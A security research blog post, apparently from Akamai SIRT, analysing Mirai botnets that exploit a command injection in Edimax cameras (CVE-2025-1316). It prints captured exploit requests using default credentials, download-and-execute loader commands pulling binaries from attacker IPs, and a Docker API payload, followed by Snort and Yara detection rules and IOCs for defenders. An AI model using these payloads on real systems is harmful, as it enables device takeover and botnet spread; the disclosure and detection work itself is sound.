Negative Exposure: Edimax Network Cameras Used to Spread Mirai
Editorial and additional commentary by Tricia Howard
Executive summary
The Akamai Security Intelligence and Response Team (SIRT) has identified a new command injection vulnerability that is attempting exploitation against Edimax Internet of Things (IoT) devices, which has been issued the CVE number CVE-2025-1316.
The SIRT first identified activity in our honeypots in October 2024, but further research has shown a proof of concept (PoC) dating back to June 2023.
Multiple botnets were identified using this vulnerability, including Mirai variants.
The botnets exploiting this CVE also leverage several known vulnerabilities, including a Docker API exploit.
We have included a list of indicators of compromise (IOCs) in this blog post to assist in defense against this threat.
Discovery
In early October 2024, the Akamai SIRT discovered activity targeting the URI /camera-cgi/admin/param.cgi in our global network of honeypots. After further investigation, we were able to attribute this activity to exploit attempts against Edimax IoT devices. After analyzing the firmware, we were able to determine that these exploit attempts were leveraging a command injection vulnerability affecting Edimax IoT devices that is now being tracked as CVE-2025-1316.
The earliest activity targeting this vulnerability that we logged in our honeypots was in May 2024. However, we were able to identify a PoC exploit dating back to June 2023. Given the long period of exposure, it is no surprise that we observed two different botnets exploiting this vulnerability in our honeypots. Although neither of them had malware samples that stood out, even the botnets that leverage simple, basic Mirai malware remain a threat to organizations.
The vulnerability
The exploit targets the /camera-cgi/admin/param.cgi endpoint in Edimax devices, and injects commands into the NTP_serverName option as part of the ipcamSource option of param.cgi. This exploit requires authentication, and all the exploit attempts we observed were passing default credentials; typically admin:1234, which is the default credentials for Edimax devices.
After doing some research into the strings and payload from the requests, we were able to attribute the vulnerability to Edimax IoT devices. Although the CVE disclosure mentions Edimax’s IC-7100 network camera, the full scope of vulnerable devices and firmware goes beyond just this model; therefore, the full extent of affected devices could be larger.
Active exploitation
The earliest exploit attempts targeting this URI that the Akamai SIRT observed date back to May 2024. The requests disappeared for a while, but later had small spikes in September 2024 and in January and February 2025. The exploit attempts appear to have been from different botnets, which is unsurprising given that the PoC has been available since June 2023.
Once we decoded the payload, (captured February 2025) we found the botnet is injecting commands into the NTP_serverName option to download and execute the curl.sh shell script in the tmp directory.
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
Just like typical Mirai botnet behavior, the shell script runs several commands to download and execute the main Mirai malware payload across several different architectures, such as curl.sh and x64.
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/x86; curl -O http://193.143.1[.]118/x86; cat x86 > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mips; curl -O http://193.143.1[.]118/mips; cat mips > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mpsl; curl -O http://193.143.1[.]118/mpsl; cat mpsl > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/arm; curl -O http://193.143.1[.]118/arm; cat arm > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt "
Upon execution on an infected machine, the malware prints the string VagneRHere to the console (Figure. 1).
The main domain appears to have a full NSFW website setup on it and was first released in late December 2024. The malware beacons out to the domain angela.spklove[.]com for command and control (C2) communication over port 3093 with some sandboxes flagging it as the “Unstable Mirai” malware variant.
This is the only subdomain we identified for this domain, and it is the only part involved as a C2. The website also links to a Discord server on their home page, which has approximately 60 members in it. The contents of the Discord appear to align with the website, and is written in Korean.
This botnet has also been observed exploiting CVE-2024-7214, which affects TOTOLINK IoT devices.
More than one botnet
We also observed a separate botnet that has been exploiting this Edimax vulnerability since at least May 2024. The attack functions we identified were fairly standard for Mirai malware samples — with the notable exception that the malware appears to have antidebugging functionality built in through functions such as sym.antidebug and sym.debugger_ detected.
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://170.39.193.232/wget.sh; chmod 777 wget.sh; sh wget.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
Similar to the previous botnet, this botnet’s exploit downloads and runs a shell script called wget.sh, which in turn downloads and executes their main Mirai malware payload. In this case, the samples are commonly prefixed with a “.S” as their filename.
"cd /tmp ; rm -rf x86_64 ; /bin/busybox wget http://170.39.193[.]232/.Sx86_64 ; chmod 777 .Sx86_64 ; ./.Sx86_64 x86 ;",
"cd /tmp ; rm -rf mpsl ; /bin/busybox wget http://170.39.193[.]232/.Smpsl ; chmod 777 .Smpsl ; ./.Smpsl mpsl ;",
"cd /tmp ; rm -rf mips ; /bin/busybox wget http://170.39.193[.]232/.Smips ; chmod 777 .Smips ; ./.Smips mips ; ",
"cd /tmp ; rm -rf arm5 ; /bin/busybox wget http://170.39.193[.]232/.Sarm4 ; chmod 777 .Sarm4 ; ./.Sarm4 arm4 ;",
"cd /tmp ; rm -rf arm4 ; /bin/busybox wget http://170.39.193[.]232/.Sarm5 ; chmod 777 .Sarm5 ; ./.Sarm5 arm5 ;",
"cd /tmp ; rm -rf arm6 ; /bin/busybox wget http://170.39.193[.]232/.Sarm6 ; chmod 777 .Sarm6 ; ./.Sarm6 arm6 ;",
"cd /tmp ; rm -rf arm7 ; /bin/busybox wget http://170.39.193[.]232/.Sarm7 ; chmod 777 .Sarm7 ; ./.Sarm7 arm7 ; ",
"cd /tmp ; rm -rf m68k ; /bin/busybox wget http://170.39.193[.]232/.Sm68k ; chmod 777 .Sm68k ; ./.Sm68k m68 ;",
"cd /tmp ; rm -rf x86 ; /bin/busybox wget http://170.39.193[.]232/.Sx86 ; chmod 777 .Sx86 ; ./.Sx86 x64 ;",
"cd /tmp ; rm -rf spc ; /bin/busybox wget http://170.39.193[.]232/.Sspc ; chmod 777 .Sspc ; ./.Sspc spc ;"
The attack functions show common Mirai malware offensive techniques, such as UDP floods, TCP ACK, and TCP SYN, targeting UDP OpenVPN and more.
0x000083b8 7 140 sym.attack_kill_all
0x0000d1dc 31 1976 sym.attack_handshake
0x0000874c 1 1160 sym.attack_init
0x0000ab78 28 1708 sym.attack_tcp_syn
0x00009dc8 28 1716 sym.attack_tcpsack
0x0000ce7c 27 860 sym.attack_socket
0x000096e4 31 1760 sym.attack_tcppsh
0x00008d0c 31 1160 sym.attack_udp_custom
0x0000b228 27 1564 sym.attack_gre_ip
0x0000d998 12 428 sym.attack_udp_openvpn
0x0000829c 13 268 sym.attack_start
0x0000851c 26 560 sym.attack_parse
0x00008448 9 104 sym.attack_get_opt_int
0x00008240 8 92 sym.attack_get_opt_str
The malware is also hard coded to print the string “Hello, World!” on an infected host. In earlier samples, the malware used the folder /var/ftper, while in the newer versions they have been seen using /var/Sofia (Figure 2).
This botnet has also been observed targeting various other vulnerabilities in our network of honeypots, including a Docker API endpoint exploit. In addition, they also have targeted CVE-2021-36220, and a Hadoop YARN vulnerability.
/v1.24/containers/create {"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":null,"Cmd":["binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","chroot","/mnt/","/bin/sh","-c","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done"],"Image":"alpine","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"ConsoleSize":[0,0],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}}}
Conclusion
The legacy of Mirai continues to plague organizations worldwide as the propagation of Mirai malware–based botnets shows no signs of stopping. With all sorts of freely available tutorials and source code (and, now, with AI assistance) spinning up a botnet has become even easier.
One of the most effective ways for cybercriminals to start assembling a botnet is to target poorly secured and outdated firmware on older devices. There are many hardware manufacturers who do not issue patches for retired devices (in some cases, the manufacturer itself may be defunct). We were told that this particular Edimax model is retired and will not be receiving further updates. In circumstances in which security patches are unavailable and unlikely to come, we recommend upgrading vulnerable devices to a newer model.
The Akamai SIRT will continue to monitor and report on threats like this for both our customers and the security community at large. To keep up with the SIRT and other publications from the Akamai Security Intelligence Group, check out our research home page and follow us on social media.
Indicators of compromises
We’ve included a list of IOCs, as well as Snort and Yara rules, to aid defenders.
Snort rules for network IOCs
Snort rules for C2 IPs (Botnet #1)
alert ip any any -> 193.143.1.118 any (msg:"Possible Botnet #1 Infrastructure Activity - Suspicious IP"; sid:1000001; rev:1; threshold:type limit, track by_src, count 1, seconds 600; classtype:trojan-activity; metadata:service http, malware;)
Snort rules for C2 domain resolution detection (Botnet #1)
alert tcp any any -> any 80 (msg:"Possible Botnet #1 C2 or Malware Distribution - angela.spklove.com"; content:"angela.spklove.com"; http_header; nocase; sid:1000002; rev:1; classtype:trojan-activity; metadata:service http, malware;)
Snort rules for C2 IPs (Botnet #2)
alert ip any any -> [194.120.230.54, 170.39.193.232, 49.12.210.140, 93.123.85.135, 147.45.199.16, 172.235.166.240, 172.232.38.103, 172.235.166.10, 172.232.38.224] any (
msg:"Possible Botnet #2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
Snort rules for C2 domain resolution detection (Botnet #2)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.merisprivate.net";
content:"cnc.merisprivate.net"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - bot.merisprivate.net";
content:"bot.merisprivate.net"; http_host; nocase;
sid:2000003; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.ziparchive.xyz";
content:"cnc.ziparchive.xyz"; http_host; nocase;
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - virtuehub.one";
content:"virtuehub.one"; http_host; nocase;
sid:2000005; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
Yara rules for malware samples
rule Botnet1_Indicators
{
meta:
description = "Detects Botnet #1 malware samples and network-based indicators"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "193.143.1.118"
$domain1 = "angela.spklove.com"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89",
hash.sha256(0, filesize) == "40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21",
hash.sha256(0, filesize) == "e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759",
hash.sha256(0, filesize) == "43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59",
hash.sha256(0, filesize) == "ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
rule Botnet2_Indicators
{
meta:
description = "Detects Botnet #2 malware samples, network indicators, and unique string"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IPs & Domains)
$ip1 = "194.120.230.54"
$ip2 = "170.39.193.232"
$ip3 = "49.12.210.140"
$ip4 = "93.123.85.135"
$ip5 = "147.45.199.16"
$ip6 = "172.235.166.240"
$ip7 = "172.232.38.103"
$ip8 = "172.235.166.10"
$ip9 = "172.232.38.224"
$domain1 = "cnc.merisprivate.net"
$domain2 = "bot.merisprivate.net"
$domain3 = "cnc.ziparchive.xyz"
$domain4 = "virtuehub.one"
// Unique String Found in the Malware
$unique_string = "2surf2"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36",
hash.sha256(0, filesize) == "c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457",
hash.sha256(0, filesize) == "b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256",
hash.sha256(0, filesize) == "9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6",
hash.sha256(0, filesize) == "555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f",
hash.sha256(0, filesize) == "4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65",
hash.sha256(0, filesize) == "4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72",
hash.sha256(0, filesize) == "ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97",
// Network-based Indicator Matches
any of ($ip1, $ip2, $ip3, $ip4, $ip5, $ip6, $ip7, $ip8, $ip9,
$domain1, $domain2, $domain3, $domain4),
// Unique string match
$unique_string
)
}
IPv4 addresses of historical infrastructure (Botnet #1)
193.143.1.118
Domains for C2 and malware distribution endpoints (Botnet #1)
angela.spklove.com
SHA256 hashes (Botnet #1)
9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89
40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21
e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759
43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59
ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9
IP addresses (Botnet #2)
194.120.230.54
170.39.193.232
49.12.210.140
93.123.85.135
147.45.199.16
172.235.166.240
172.232.38.103
172.235.166.10
172.232.38.224
Domains (Botnet #2)
cnc.merisprivate.net
bot.merisprivate.net
cnc.ziparchive.xyz
virtuehub.one
SHA256 hashes (Botnet #2)
75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36
c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457
b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256
9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6
555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f
4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65
4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72
ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97